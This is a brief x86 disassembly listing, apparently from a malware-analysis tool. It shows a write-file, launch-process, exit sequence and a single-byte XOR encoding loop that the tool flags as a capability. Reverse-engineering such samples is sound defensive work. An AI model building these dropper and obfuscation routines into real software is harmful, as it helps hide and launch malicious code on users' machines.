push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]

Function at 0xae1aa4
Capabilities:
Encode data using xor

Disassembly:
xor al, al
mov al, byte [edi]
xor al, bl
mov byte [edi], al
inc edi
cmp edi, ecx
jne fcn.00ae1aa4
ret